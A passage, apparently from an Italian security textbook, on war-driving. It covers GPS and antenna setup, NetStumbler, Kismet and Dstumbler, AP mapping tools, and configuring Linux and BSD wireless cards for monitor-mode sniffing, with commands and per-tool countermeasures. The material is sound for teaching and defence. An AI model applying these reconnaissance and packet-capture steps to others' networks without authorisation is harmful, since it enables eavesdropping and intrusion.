L'installazione dei driver e dell'unità GPS è relativamente semplice; tuttavia, occorre segnalare alcuni aspetti. Con le vostre apparecchiature dovete decidere la meta e le modalità con cui effettuerete il war-driving. Per esempio, in genere occorre un cavo seriale per il collegamento del GPS al laptop; inoltre, come vi accorgerete, le unità GPS riescono a localizzare con maggiore velocità e precisione l'obiettivo se non ci sono ostacoli tra l'apparecchiatura e il cielo. Per i fortunati lettori che dispongono di una spider o una jeep questo non rappresenta un problema; tutti gli altri potranno acquistare un cavo di lunghezza sufficiente da consentire di appoggiare l'unità GPS sul cruscotto dell'auto, o fissare all'unità un magnete e ancorarla al tetto.

Non dimenticate che un'unità GPS si rivelerà scarsamente utile se, tanto per cominciare, la vostra scheda wireless non assicura una portata sufficiente. Se avete intenzione di investire il vostro tempo, le vostre energie e i vostri risparmi in un sistema per war-driving, dotato anche di un software di mapping GPS, è quindi opportuno che acquistiate un'antenna di buona qualità. Nel paragrafo precedente, sono state fornite informazioni dettagliate e specifiche sulle antenne e sulle loro caratteristiche, nonché su altre peculiarità del war-driving.

Come nei paragrafi precedenti, elenchiamo i nostri fornitori di apparecchi GPS preferiti. Sappiamo che esistono molti altri fornitori, ma consigliamo di rivolgervi a quelli segnalati nella tabella seguente, in quanto dispongono di prodotti unici (per esempio la linea Magellan di dispositivi GPS). Al termine del capitolo, sarete in grado di progettare, implementare e utilizzare correttamente un sistema di war-driving all'avanguardia che anche i vostri amici vi invidieranno (questo almeno è il nostro obiettivo).

Garmin International	`http://www.garmin.com/`
Magellan	`http://www.magellangps.com/`

Software per war-driving

La messa a punto del software per war-driving può rivelarsi alquanto più complessa a causa delle difficoltà connesse all'installazione dell'hardware e del software, a cui abbiamo già accennato. Poiché il software per war-driving richiede la presenza di un'unità GPS che consenta di individuare la posizione del laptop da parte dell'AP, nonché l'utilizzo di software di identificazione degli AP, la messa a punto può rivelarsi impegnativa. Tuttavia, la capacità di un sistema di war-driving di utilizzare un'unità GPS è una delle caratteristiche maggiormente utili, per il semplice motivo che consente di eseguire la mapping di AP vulnerabili da utilizzare in futuro, o di individuarli per fortificarne in seguito le difese.
La tecnologia wireless (come la maggior parte delle tecnologie) prevede l'utilizzo di sigle; occorrerà quindi imparare alcuni termini semplici prima di entrare nel vivo di questo paragrafo e della parte restante del capitolo. Le sigle in questione sono: SSID, MAC e IV. Il SSID (*Service Set Identifier*) è un identificatore che consente di distinguere un punto di accesso dall'altro (o, su scala più vasta, un'organizzazione dall'altra); esso può essere considerato come l'equivalente del nome di dominio per le reti wireless. L'indirizzo MAC (*Media Access Control*) è l'indirizzo specifico che identifica ciascun nodo di una rete. Nelle WLAN, può essere utilizzato come fonte per il controllo degli accessi dei client. L'IV (*Initialization Vector*) di un pacchetto WEP (*Wired Equivalent Privacy*) viene inserito dopo l'header 802.11 e utilizzato in combinazione con la chiave segreta condivisa per criptare i dati dei pacchetti.
NetStumbler, la prima applicazione per il war-driving messa a disposizione del pubblico, fu rilasciato come tool che analizzava i due campi dell'header 802.11 e IV dei pacchetti wireless, al fine di individuare l'SSID, l'indirizzo MAC, l'eventuale implementazione del WEP, la lunghezza della chiave WEP (40 o 128 bit), la portata del segnale, e, potenzialmente, il fornitore del punto di accesso. Non molto tempo dopo, fecero la loro comparsa alcuni tool per Linux e UNIX che utilizzavano tecniche simili ma consentivano anche di eseguire il crack delle chiavi WEP e degli stessi dati dei pacchetti. La maggior parte di questi tool si basava sulla scoperta, fatta da Tim Newsham, della possibilità di sfruttare i punti deboli delle chiavi presenti nell'algoritmo WEP e nell'al-

goritmo di pianificaione delle chiavi (KSA). Alcuni dei tool per war-driving più diffusi sono elencati di seguito. Ciascuno di essi dispone di caratteristiche diverse; pertanto, ciascuno presenta una caratteristica unica che potrebbe rivelarsi utile.

NetStumbler

Diffusione:	9
Semplicità:	9
Impatto:	9
Fattore di rischio:	9

NetStumbler (`http://www.netstumbler.com/`) è un tool per war-driving basato su Windows, in grado di rilevare reti wireless e contrassegnarne la posizione relativa con un GPS. NetStumbler utilizza una Probe Request 802.11 inviata all'indirizzo di destinazione trasmesso, che forza tutti i punti di accesso presenti nell'area a emettere una Probe Response 802.11 contenente informazioni sulla configurazione della rete, quali i SSID e lo stato WEP. Quando è connesso a un GPS, NetStumbler registra le coordinate GPS corrispondenti alla massima intensità del segnale rilevata per ciascun punto di accesso. Utilizzando i dati di rete e quelli GPS, è possibile creare mappe con tool quali StumbVerter e Microsoft MapPoint. NetStumbler supporta le schede con chipset Hermes su Windows 2000; tra queste, le più diffuse sono quelle targate Orinoco di Lucent (attualmente Proxim). Su Windows XP la libreria di reti NDIS 5.1 dispone di funzionalità 802.11, che consentono di utilizzare NetStumbler con la maggior parte delle schede supportate.

Per utilizzare NetStumbler, dovete inserire la scheda wireless e impostare il vostro SSID o il vostro nome della rete su ANY. Nel caso delle schede Orinoco, queste opzioni si trovano nell'utility Client Manager, come mostrato nel prosieguo del capitolo. Se NetStumbler non rileva i punti di accesso che sapete essere presenti, effettuate questo controllo per prima cosa prima di passare ad altre attività diagnostiche. L'impostazione del campo *Network Name* su *ANY* indica al driver di utilizzare un SSID di lunghezza 0 nelle sue Probe Request. Di default, la maggior parte dei punti di accesso risponderà a Probe Request contenenti il loro SSID o un SSID di lunghezza 0.

Una volta che la scheda è stata configurata in modo corretto, avviate NetStumbler e fate clic sulla freccia verde presente sulla barra degli strumenti (se non è stata già selezionata). Se nell'area in questione sono disponibili punti di accesso programmati per rispondere a una Broadcast Probe Request, essi risponderanno e saranno visualizzati nella finestra.
Potete utilizzare l'opzione *Filters* per catalogare rapidamente diverse reti in base a criteri quali l'utilizzo eventuale del WEP o il fatto che la rete sia di tipo IBSS oppure di tipo BSS. Poiché una rete IBSS (*Independent BSS*) è un gruppo di sistemi che operano senza un punto di accesso, a differenza di una rete BSS, un aggressore sarà in grado di accedere unicamente ai sistemi presenti in tale rete e non utilizzerà necessariamente la rete wireless come ponte mediante il quale penetrare nella LAN interna.
La selezione di una qualsiasi delle reti mediante la sua icona a forma di cerchio consente inoltre di visualizzare un grafico del rapporto segnale/rumore (Figura 10.3).

Figura 10.3
NetStumbler.

Contromisure a NetStumbler

Il punto debole principale di NetStumbler risiede nel fatto che si basa su un'unica forma di rilevamento delle reti wireless, la Broadcast Probe Request. Generalmente, i fornitori di apparecchiature wireless offrono un'opzione che consente di disattivare questa funzionalità 802.11, "accecando" in questo modo NetStumbler. Anche altri software per war-driving attualmente disponibili, per esempio Kismet, possono utilizzare questo metodo, ma dispongono anche di altri meccanismi di rilevamento utilizzabili qualora questo fallisca. Premesso questo, esistono tuttora diverse reti che possono essere rilevate da NetStumbler e la funzionalità che prevede la risposta a una Broadcast Probe Request è tuttora attivata di default da molti fornitori.

Kismet

Diffusione:	*8*
Semplicità:	*7*
Impatto:	*9*
Fattore di rischio:	*8*

Kismet (`http://www.kismetwireless.net/`) è uno sniffer wireless per Linux basato su BSD e dotato di funzionalità per war-driving. Al pari di NetStumbler, esso consente di identificare punti di accesso wireless e le loro coordinate GPS ed è dotato di molte altre funzionalità.

Kismet è un tool passivo di rilevamento delle reti, che procede ciclicamente alla scansione dei canali wireless disponibili, alla ricerca di pacchetti 802.11 indicanti la presenza di una LAN wireless, quali Beacon e Association Request. Kismet in certe condizioni è inoltre in grado di raccogliere ulteriori informazioni su una rete, per esempio indirizzi IP e nomi CDP (*Cisco Discovery Protocol*).

Kismet contiene tra l'altro un programma chiamato GPSMap, che crea una mappa dei risultati generati da Kismet stesso. Kismet supporta la maggior parte delle schede wireless disponibili per Linux o OpenBSD.

Per utilizzare Kismet, occorre innanzitutto installare i driver personalizzati occorrenti per il funzionamento nella modalità monitor. La procedura varia in base al chipset utilizzato dalla vostra scheda; tuttavia c'è un metodo che consente di attivare tutti i driver per il funzionamento nella modalità monitor. Prima di avviare Kismet, eseguite lo script `kismet_monitor` per attivare la modalità monitor della scheda. Accertatevi però di trovarvi in una directory a cui l'utente di Kismet possa accedere:

```
[root@localhost user]# kismet_monitor
Using /usr/local/etc/kismet.conf sources...
Enabling monitor mode for a cisco card on eth1
Modifying device eth1
```

In questo modo, la scheda wireless configurata nel file `kismet.conf` entrerà nella modalità monitor. Dopo che Kismet è stato caricato, l'interfaccia mostrerà qualsiasi rete situata entro il raggio di copertura del sistema. Di default, Kismet ordinerà le reti in una modalità "Autofit" che non consente di passare dall'una all'altra. Premete S per portare in primo piano il menu di ordinamento e scegliete una delle

opzioni disponibili. "l" (ora/data dell'ultimo rilevamento) è la scelta più appropriata nella maggior parte dei casi.
Nella finestra principale, mostrata di seguito, viene visualizzato il nome della rete (SSID). La colonna `T` visualizza il tipo di rete, la `W` indica se il WEP è attivato o meno, mentre `Ch` rappresenta il "numero di canale." La colonna `IP Range` mostra qualsiasi indirizzo IP rilevato, tramite richieste ARP o il traffico normale.

```
root@localhost:/home/user
Network List—(Latest Seen)                                          Info
    Name                          T W Ch Packts Flags IP Range      Ntwrks
    <no ssid>                     A Y 01   1098       0.0.0.0           13
    APPLE                         A Y 06   1383       0.0.0.0       Pckets
    INSIDIAE                      A N 06   1349  A4   192.168.1.11   18654
    <no ssid>                     A Y 06    453       0.0.0.0       Cryptd
    dlink                         A Y 06   1729       0.0.0.0           45
    INSIDIAE                      P N --      8       0.0.0.0         Weak
    INSIDIAE                      A N 11      1       0.0.0.0            0
    Aironet_350                   A N 06   1381       0.0.0.0        Noise
    <no ssid>                     D N --     25       0.0.0.0            2
  ! ugcw1r31355                   P N --   1246       0.0.0.0
  ! ugcw1r31355                   P N --    798       0.0.0.0
  ! proxim                        A N 06   3535  T4   172.16.0.2    Elapsd
                                                          (+) Down  000926
Status
  Sorting by time most recently active
  Found IP 169.254.203.204 for INSIDIAE::00:04:E2:2A:24:D8 via TCP
  Found IP 172.16.0.2 for proxim::00:B0:D0:7E:92:15 via TCP
  Associated probe network "00:04:E2:2A:24:D8".
Battery: AC charging 100% 3h11m0s
```

Contromisure a Kismet

Non esistono numerose contromisure per Kismet. Kismet è attualmente il migliore tool per war-driving disponibile ed è in grado di identificare reti che ordinariamente sfuggono a NetStumbler. A parte le sue funzionalità di rilevamento delle reti, esso è in grado di registrare automaticamente pacchetti WEP con punti deboli IV da utilizzare con AirSnort, nonché di rilevare indirizzi IP utilizzati sulla WLAN.

Dstumbler

Diffusione:	*5*
Semplicità:	*6*
Impatto:	*9*
Fattore di rischio:	*7*

Dstumbler (`http://www.dachb0den.com/projects/dstumbler.html`) è incluso pacchetto BSD-Airtools per i sistemi operativi OpenBSD, NetBSD e FreeBSD. È un'applicazione di war-driving che supporta la registrazione delle ubicazioni dei punti di accesso con un GPS. Essa supporta sia le schede Orinoco sia quelle Prism2; tuttavia la modalità monitor, che consente di rilevare punti di accesso che non rispondono a una Broadcast Probe Request, è supportata unicamente per le schede

Prism2. Dstumbler segnala inoltre se un punto di accesso utilizza un SSID di default e consente di stabilire se una rete si serve del WEP a 40 o a 104 bit.
Dstumbler richiede le patch del kernel per il supporto della modalità monitor sulle schede Prism2 per Net e Free-BSD; tuttavia OpenBSD 3.2 contiene queste modifiche nel kernel predefinito. Dopo aver installato il pacchetto BSD-Airtools, potete avviare Dstumbler specificando l'interfaccia wireless da utilizzare.

```
foo# dstumbler wi0 -o -m 30 -l log.txt
```

In questo modo, Dstumbler verrà avviato sull'interfaccia `wi0`, in modalità monitor (`-o`), con modifica casuale dell'indirizzo MAC ogni 30 secondi (`-m 30`) e registrazione su un file di output chiamato log.txt (`-l log.txt`). Dopo che l'applicazione è stata caricata, viene visualizzata un'interfaccia ncurses con tre finestre principali, come mostrato di seguito. Nella parte superiore sinistra sono visualizzate le reti identificate, in quella destra sono riportati i dettagli relativi alla rete selezionata, mentre in basso è indicata (in tempo reale) l'intensità del segnale della rete selezionata. Mediante i tasti freccia su/giù, è possibile spostarsi nell'elenco delle reti, rispettivamente verso l'alto o verso il basso.

```
Shell - Konsole
> [ 6] Aironet_  (00:40:96:54:1c:0b)  bn030:057:027 a SSID: Aironet_350
* [ 6] APPLE     (00:30:65:1d:f1:00)  bw033:060:027 r BSSID: 00:40:96:54:1c:0b
* [ 6] INSIDIAE  (00:60:1d:21:93:ab)  bn015:042:027 o Mfg: Cisco-Aironet
  [ 6] dlink     (00:40:05:df:09:4f)  bw000:000:000 i Channel: 6     11.0/100
* [ 6] proxim    (00:60:b3:67:6c:40)  bn063:090:027 c Signal/Noise: 30/57/27
* [11] INSIDIAE  (00:04:75:62:27:ce)  bn081:108:027 m First Seen: 11:13:43
                                                    Last Seen:  11:14:46

078:105:027 -----++++++++++++++++                   [ basic navigation ]----
039:066:027 -----++++++++                           [+/-]: ap up/down
075:102:027 -----+++++++++++++++                    [</>]: node up/down
078:105:027 -----++++++++++++++++                   [u/d]: page ap up/down
072:099:027 -----+++++++++++++++                    [e/h]: end/home
069:096:027 -----++++++++++++++                     [n/s]: newest/sort
048:075:027 -----++++++++++                         [a/r]: autosel/resolve
075:102:027 -----+++++++++++++++                    [o/i]: nodes/audio
078:105:027 -----++++++++++++++++                   [m/k]: menu/refresh
036:063:027 -----+++++++                            [c/.]: chanlock/comment
039:066:027 -----++++++++
036:063:027 -----+++++++                            [ file commands ]-------
078:105:027 -----++++++++++++++++                   [l/b]: load/backup
081:108:027 -----++++++++++++++++                   [q]:   quit
033:060:027 -----+++++++
078:105:027 -----++++++++++++++++
030:057:027 -----++++++
030:057:027 -----++++++

----------------------[ dstumbler v1.0 by h1kari - (c) DachbOden Labs 2001 ]
```

Contromisure a Dstumbler

Quando si effettua la scansione con una scheda Orinoco, è possibile bloccare Dstumbler disabilitando la risposta alle richieste Broadcast SSID. Tuttavia, nella modalità monitor, probabilmente riuscirete a impedire a questo tool di rilevare il vostro SSID. Dal momento che Dstumbler è in grado di riconoscere che state utilizzando un SSID di default, dovete quantomeno impostarne uno diverso dal valore iniziale definito dall'OEM.

Mapping wireless

Dopo aver identificato i punti di accesso disponibili, potete utilizzare in diversi modi questi dati (per esempio potete creare mappe basate sui risultati ottenuti elaborando i dati della rete e i dati GPS). I tool per il wardriving effettueranno la registrazione dell'attuale posizione GPS, dell'intensità del segnale e degli attributi di ciascun punto di accesso. In base ai dati raccolti, questi tool sono in grado di risalire alla posizione del punto di accesso basandosi sul criterio seguente: l'intensità del segnale aumenta al diminuire della distanza dall'AP. In precedenza, era necessario convertire i risultati forniti dal tool di wardriving in un formato utilizzabile da sistemi di mapping quali Microsoft MapPoint, o dal sito Web MapBlast, per interpretare le coordinate GPS. Ora invece è disponibile un software in cui questa procedura viene automatizzata e che legge i dati direttamente dal tool di wardriving. Oltre a utilizzare i vostri dati, potete servirvi di quelli di alcuni gruppi, che hanno creato siti come `http://www.wifimaps.com` e `http://www.gigle.net` in cui tali informazioni sono accumulate in un database di grandi dimensioni.

StumbVerter

StumbVerter (`http://www.sonar-security.com/`) è un'applicazione che utilizza MapPoint 2002 per riportare in un grafico dati estratti da file nel formato NetStumbler. Questo vi consente di evitare la fatica di immettere manualmente queste informazioni in MapPoint o in un altro sistema di mapping. Inoltre esso crea sulla mappa icone in stile NetStumbler per ciascun punto di accesso. Le icone verdi rappresentano reti non criptate, mentre quelle rosse corrispondono a reti che utilizzano il WEP. Per utilizzare StumbVerter, fate clic sul pulsante *Import* e selezionate una scansione NetStumbler salvata (accertatevi che sia una con dati GPS; in caso contrario, StumbVerter non sarà in grado di creare un grafico delle ubicazioni degli AP). Dopo aver caricato la mappa, potete selezionare *View/Show All AP Names and Info* per ottenere ulteriori informazioni su ciascuna rete, compreso il SSID e l'indirizzo MAC. Poiché sono disponibili i normali comandi di MapPoint 2002, potete ingrandire e modificare la mappa proprio come in questo software. Se siete soddisfatti dell'aspetto della mappa, potete salvarla su un file MapPoint, un file bitmap, o una pagina HTML (Figura 10.4).

GPSMap

GPSMap è incluso nel pacchetto Kismet di monitoraggio wireless. Esso importa file Kismet gps e di rete e successivamente crea il grafico delle ubicazioni delle reti su mappe provenienti da diverse fonti. GPSMap è probabilmente il generatore di mappe per war-driving più versatile tra quelli disponibili; esso inoltre supporta molte opzioni di disegno per ciascun punto di accesso. È possibile creare le mappe basandosi sulla portata stimata di ciascuna rete, sulla potenza emessa, su un grafico a punti dispersi, o su tutte queste opzioni contemporaneamente. Sebbene sia estremamente flessibile, GPSMap tende a ricorrere con eccessiva frequenza alla riga di comando. Per creare una mappa con GPSMap, vi occorrono risultati Kismet salvati contenenti dati GPS. Deve essere disponibile almeno un file .network e un file .gps per ogni data e scansione. Ecco un esempio:

Kismet-07-2002-1.network e Kismet-07-2002-1.gps.

Figura 10.4
StumbVerter.

Dopo aver individuato i file dei risultati da utilizzare, dovete eseguire GPSMap facendo riferimento a questi file, con le opzioni corrette. Gli argomenti principali sono: il nome del file di output (`-o`), la fonte da cui prelevare l'immagine della mappa di sfondo (`-S`) e le vostre opzioni di disegno. Dal momento che GPSMap utilizza ImageMagick, il file di output può avere qualsiasi formato, per esempio JPEG, GIF o PNG. Le fonti delle immagini di sfondo sono tre servizi di mappe vettoriali (mappe MapBlast, MapPoint e Tiger Census); è inoltre disponibile una fonte di fotografie che utilizza mappe USGS (*United States Geological Survey*) fornite da Terraserver (`http://terraserver.homeadvisor.msn.com/`). La scelta delle fonti delle mappe o delle opzioni di disegno dipende dai gusti personali e dall'utilizzo previsto della mappa. È preferibile provare a utilizzarle tutte e vedere quali soddisfano meglio le proprie esigenze.
Nell'esempio seguente, creiamo una mappa PNG chiamata newmap.png (`-o newmap.png`) utilizzando una mappa USGS come sfondo (`-S 2`) con scala 1:10 (`-s 10`). Le opzioni di disegno prevedono la colorazione della rete basata sullo stato del WEP (`-n 1`), il tracciamento dell'itinerario percorso guidando (`-t`) con una larghezza di linea pari a 4 (`-Y 4`), il mapping di ogni punto di accesso, individuato da un puntino situato nella parte centrale del campo di emissione della rete (`-e`), e un cerchio avente una larghezza di cinque unità (`-H 5`). L'ultimo argomento sarà il nome del file .gps utilizzato l'input:

```
[root@localhost user]# gpsmap -o newmap.png -s 10 -S 2 -n 1 -t -Y 4
 -e -H 5 Kismet-Nov-07-2002-1.gps
```

La mappa così ottenuta avrà l'aspetto seguente:

JiGLE

JiGLE (`http://www.wigle.net/`) è un client Java per la visualizzazione di dati prelevati dal database WiGLE.net di reti wireless (Figura 10.5).
Attualmente il database di WiGLE.net contiene oltre 160.000 reti wireless, il che significa che se vivete in un'area con dati WiGLE non è nemmeno necessario effettuare il wardriving per individuare la vostra rete. JiGLE legge i dati di rete e GPS dalle serie di mappe WiGLE. Di default, esso presenta una serie di mappe per Chicago, ma è sufficiente effettuare la registrazione per scaricare qualsiasi altro pacchetto per altre zone degli USA. Il client stesso è in grado di leggere il vostro file dei risultati NetStumbler o Kismet e riportare in un grafico i punti della rete su una mappa da voi fornita.
Per utilizzare JiGLE, è necessario avere installato Java JRE 1.3.0 o una versione superiore e fare clic sul file `run.bat` contenuto nella directory JiGLE. Dovete quindi effettuare una selezione dalle serie di mappe disponibili con il menu a discesa situato nel lato sinistro della barra degli strumenti. Se desiderate disporre di ulteriori serie di mappe, potete scaricarle all'indirizzo `http://www.wigle.net/gps/gps/GPSDB/mappacks/`.
Se state effettuando una valutazione di una rete, sarà opportuno verificare nel database WiGLE o in un altro database online (per esempio, `http://www.netstumbler.com/`) la presenza del vostro punto di accesso. La maggior parte dei database accetterà di buon grado la vostra richiesta di rimuovere l'AP.

Figura 10.5
JiGLE.

Scansione ed enumerazione wireless

In base alla metodologia degli attacchi presentati in questo libro, la seconda e terza fase di una corretta strategia di individuazione e penetrazione in un sistema sono costituite rispettivamente dalla scansione e dall'enumerazione. Probabilmente saprete ormai che la tecnologia wireless è significativamente diversa da quasi tutte le altre descritte in questo libro. Essa è l'unica tecnologia che può essere messa in crisi senza utilizzare connessioni cablate. La scansione e l'enumerazione wireless vengono combinate, nel senso che in genere queste fasi della penetrazione sono effettuate contemporaneamente. Rammentate che l'obiettivo delle fasi di scansione ed enumerazione risiede nell'individuazione di un metodo per ottenere l'accesso ai sistemi.

Dopo aver effettuato il wardriving, identificati i punti di accesso desiderati e acquisito una quantità adeguata di pacchetti con crittografia WEP e non criptati, è tempo di passare alla fase successiva del processo di penetrazione. Così come l'installazione dell'antenna è la fase più delicata della preparazione al wardriving, l'analisi dei pac-

chetti è dal punto di vista tecnico l'aspetto più impegnativo degli attacchi veri e propri alle reti wireless, poiché occorre essere in grado di utilizzare e comprendere il funzionamento di uno sniffer di pacchetti e, in alcuni casi, anche di decifrare la trasmissione. Durante la spedizione preliminare di wardriving, avrete identificato i punti di accesso e acquisito alcune informazioni pertinenti su di essi. Tali informazioni possono essere costituite dall'SSID dell'AP, dall'indirizzo MAC, dall'utilizzo eventuale del WEP, dagli indirizzi IP e da diverse trasmissioni di rete. Come per qualsiasi attacco, quanto maggiore è il numero di informazioni di cui disponete nella fase iniziale di un tentativo di penetrazione, tanto maggiore sarà la probabilità di successo e tanto più prevedibile risulterà l'esito dell'attacco.
Inizialmente, l'unica informazione realmente importante e necessaria sul punto di accesso identificato è quella costituita dal suo SSID. Quasi sempre, utilizzerete questa informazione per fare riferimento all'AP identificato. Dopo aver acquisito l'SSID, l'obbiettivo successivo è quello di stabilire quali sono i tipi di dati che avete carpito dalla WLAN e classificarli. Questi dati possono essere divisi logicamente in base al punto di accesso e successivamente suddivisi in base al client AP. Nel corso dell'analisi dei pacchetti, vi accorgerete ben presto se i dati ricevuti nel corso del wardriving iniziale sono criptati. In questo caso, dovrete stabilire se i dati sono criptati tramite uno schema di implementazione del WEP o un ulteriore schema a multilivello quale l'SSL su HTTP. Se viene utilizzato uno schema di crittografia basato su WEP, il passaggio successivo consiste nello stabilire se si tratta di una chiave a 40 o a 128 bit.
La fase iniziale di scansione ed enumerazione di una rete wireless richiede lo sniffing passivo del traffico e l'esecuzione di un'analisi in previsione di ulteriori esplorazioni e attacchi condotti in modo aggressivo.

Sniffer wireless

Una premessa a questo capitolo: gli sniffer wireless non sono diversi dagli sniffer per reti cablate per quanto riguarda la decifrazione e l'analisi dei pacchetti. Esiste un'unica differenza: lo sniffer wireless è in grado di leggere e classificare la struttura dei pacchetti wireless con header 802.11, IV ecc. In questo paragrafo ci serviremo spesso di sniffer in grado di acquisire pacchetti 802.11. Se non avete mai utilizzato uno sniffer o effettuato l'analisi dei pacchetti (o se è passato un po' di tempo dall'ultima volta che lo avete fatto), risulterà senz'altro opportuno un ripasso prima di procedere alla lettura di questo paragrafo.

Cattura di pacchetti e risorse per l'analisi

Le risorse seguenti, utilizzate assieme, forniscono una panoramica completa delle tecniche e del "know-how" che sono alla base della cattura dei pacchetti e dell'analisi.

- **`http://www.robertgraham.com/pubs/sniffing-faq.html`:** un sito veramente completo, che probabilmente risponderà a quasi tutte le vostre domande. Consideratelo la vostra prima tappa nella ricerca di informazioni.
- **`http://grc.com/oo/packetsniff.htm`:** un'eccellente risorsa con informazioni specifiche sull'analisi dei pacchetti, sugli sniffer commerciali, sull'identificazione dei nodi in modalità promiscua e sulla neutralizzazione di sniffer non autorizzati.
- **`http://cs.ecs.baylor.edu/~donahoo/tools/sniffer/sniffingFAQ.htm`:** un valido sito introduttivo, contenente informazioni elementari sullo sniffing dei pacchetti e sui requisiti generali dell'architettura di uno sniffer.

Esistono diversi sniffer di rete per l'acquisizione di pacchetti con schede promiscue, ma sono pochissimi quelli disponibili nel mondo wireless, poiché si tratta di una tecnologia sviluppata solo di recente. Fondamentalmente, sono disponibili tre diversi settaggi in cui potete operare, a seconda della piattaforma adottata: Windows, Linux e OpenBSD. Ovviamente, se siete professionisti, sarete in grado di scrivere i vostri driver e configurare le modalità per il corretto funzionamento di uno sniffer con diverse piattaforme; tuttavia, queste tre sono attualmente quelle maggiormente supportate tramite driver e tool. La commutazione di una scheda wireless in modalità promiscua è completamente automatizzata in Windows; l'operazione tuttavia è alquanto più complessa in Linux: per questo motivo abbiamo incluso una guida che spiega come far funzionare uno sniffer con tale sistema operativo. Poiché la configurazione del kernel e del software OpenBSD è simile, abbiamo eliminato le informazioni ridondanti. Se vi servono informazioni specifiche per OpenBSD, visitate l'indirizzo `www.dachb0den.com`.

Configurazione di schede wireless in Linux per la modalità promiscua

Seguendo queste istruzioni, riuscirete a configurare il vostro laptop Linux e a realizzare lo sniffing wireless senza problemi nello spazio di un'ora (escludendo il tempo necessario per scaricare tool e file).

Passaggio 1: preparativi

Per prima cosa, vi occorre una scheda di rete wireless PCMCIA con il chipset Prism2. Come per qualsiasi altra nuova installazione, è opportuno effettuare il backup dei dati importanti per poterli recuperare nel caso venissero danneggiati in modo irreparabile. Sebbene non si tratti di un'installazione particolarmente rischiosa, è opportuno prendere alcune precauzioni. Di seguito sono elencati alcuni esempi di schede wireless che utilizzano il chipset Prism2:

- Compaq WL100;
- SMC2632;
- Linksys WPC11.

Passaggio 2: acquisizione dei file

Avete portato a termine il primo passaggio e siete pronti per iniziare. Ora dovete scaricare alcuni file, se questi non sono già presenti sul vostro sistema. Se i link elencati nella tabella seguente non sono più disponibili perché sono uscite alcune nuove versioni, non sarà difficile trovarle tramite una ricerca su Google:

Linux PCMCIA Card Services Package	`http://pcmcia-cs.sourceforge.net`
Linux WLAN Package (linux-wlan-ng-0.1.10)	`http://www.linux-wlan.com/linux-wlan`
Utility Prismdump	`http://developer.axis.com/download/tools/`
CVS PCAP e CVS TCPDUMP	`http://cvs.tcpdump.org`
WLAN Drivers Patch (patch di Tim Newsham)	`http://www.lava.net/~newsham/wlan`
Ethereal (facoltativo ma caldamente raccomandato)	`http://www.ethereal.com`

Passaggio 3: compilazione e configurazione

Dopo aver scaricato i suddetti file, siete pronti per iniziare a configurare il vostro sistema. In genere, la maggior parte delle applicazioni utilizza il setup di installazione `./configure ¦ make ¦ make install`; tuttavia, nel caso vi occorrano istruzioni specifiche sulla compilazione, consultate i singoli file Readme per ciascuna delle applicazioni.

È estremamente importante eseguire il WLAN Drivers Patch (noto anche come patch di Newsham) prima di compilare il pacchetto WLAN sul vostro sistema; in caso contrario, esso non funzionerà correttamente.

Passaggio 4: commutazione della scheda

Dopo la compilazione, dovete riavviare i servizi della scheda e accertarvi che tutte le modifiche siano state implementate. La maggior parte dei tool di sniffing e di cracking in ambiente wireless sono dotati di funzionalità incorporate che consentono di commutare la scheda nella modalità promiscua; tuttavia è possibile che desideriate semplicemente catturare i pacchetti senza disporre di funzionalità automatizzate di cracking (o altro) incluse nel tool. I comandi elencati di seguito consentono di commutare la scheda.

Attivazione dello sniffing	`%root%> wlanctl-ng wlan0 lnxreq_wlansniff channel=# enable=true`
Disattivazione dello sniffing	`%root%> wlanctl-ng wlan0 lnxreq_wlansniff channel=# enable=false`

Tenete presente che quando la scheda è in modalità promiscua non è in grado di inviare pacchetti, per cui essa viene privata della possibilità di comunicare su una rete cablata o una rete wireless.

Il simbolo del cancelletto (#) corrisponde al numero del canale su cui intendete intercettare pacchetti. La maggior parte dei punti di accesso utilizzano di default i canali 6 e 10; questo significa che probabilmente catturerete la maggior parte del traffico mentre intercettate su questi canali.

Passaggio 5: inizio dello sniffing

L'ultimo passaggio dello sniffing wireless manuale consiste nell'iniziare la cattura dei pacchetti, per verificare di aver completato correttamente la procedura di installazione. Un semplice strumento consente di effettuare questa verifica: si tratta di `prismdump`, un tool che probabilmente avete scaricato e compilato nei Passaggi 2 e 3. `prismdump` si limita a salvare i pacchetti catturati nel formato standard PCAP. Il PCAP, altrimenti noto come formato di cattura pacchetti, è spesso il formato comune per il salvataggio di dati grezzi dei pacchetti.

Esecuzione di Prismdump	`%root%> prismdump > wlan_packets`

Un rapido e semplice suggerimento: quando le dimensioni del file `wlan_packets` superano 1 byte, significa che avete iniziato a catturare pacchetti 802.11, quindi potete iniziare a utilizzare il software per il cracking del WEP o quello per l'analisi dei pacchetti (per esempio, Ethereal).

Tool di monitoraggio wireless

I tool di monitoraggio, come abbiamo già detto, sono estremamente simili ai loro omologhi per le reti cablate. La maggior parte dei tool è relativamente facile da installare ed eseguire; l'analisi è l'aspetto maggiormente complesso. Per ulteriori informazioni sui tool illustrati in questo paragrafo, visitate l'homepage di ciascuna delle applicazioni e dei tool corrispondenti.

prism2dump

Diffusione:	*3*
Semplicità:	*5*
Impatto:	*7*
Fattore di rischio:	*5*

prism2dump (http://www.dachb0den.com/projects/prism2dump.html) è incluso nella suite BSD-Airtools e funziona con le schede a chipset Prism2. Esso genera come output alcuni frame 802.11 con tre livelli di dettaglio, specificati dal flag -v.
Per utilizzare prism2dump, dovete avere a disposizione un driver per il kernel Prism2 che supporta il funzionamento in modalità monitor. Le versioni più recenti di BSD, quale la OpenBSD 3.2, supportano questo tipo di funzionamento nel kernel predefinito, ma per gli altri occorrono i patch del kernel inclusi nel pacchetto BSD-Airtools.
Per utilizzare prism2dump, commutate per prima cosa la scheda nella modalità monitor con prism2ctl <interface> -m, come mostrato di seguito:

```
foo# prism2ctl wi0 -m
```

Dopo aver digitato il comando, potete controllare lo stato della scheda eseguendo prism2ctl e specificando unicamente l'interfaccia. Nell'esempio seguente, la riga per la modalità monitor indica che questa è attiva:

```
foo# prism2ctl wi0
Sleep mode:                                 [ Off ]
Suppress post back-off delay:               [ Off ]
Suppress Tx Exception:                      [ Off ]
Monitor mode:                               [ On ]
LED Test:                                   [ ]
Continuous Tx:                              [ ]
Continuous Rx:                              [ Off ]
Signal State:                               [ ]
Automatic level control:                    [ Off ]
```

Dopo aver attivato la modalità monitor, eseguite prism2dump specificando il nome dell'interfaccia e il livello di dettaglio delle informazioni richiesto. In questo caso, stiamo utilizzando l'interfaccia wi0 e -v 2; quest'ultima opzione provoca la stampa di tutte le informazioni del protocollo 802.11.
I risultati del dump mostrano una Management Probe Response 802.11 da un punto di accesso con un SSID APPLE sul canale 6:

```
foo# prism2dump wi0 -v 2
prism2dump: listening on wi0
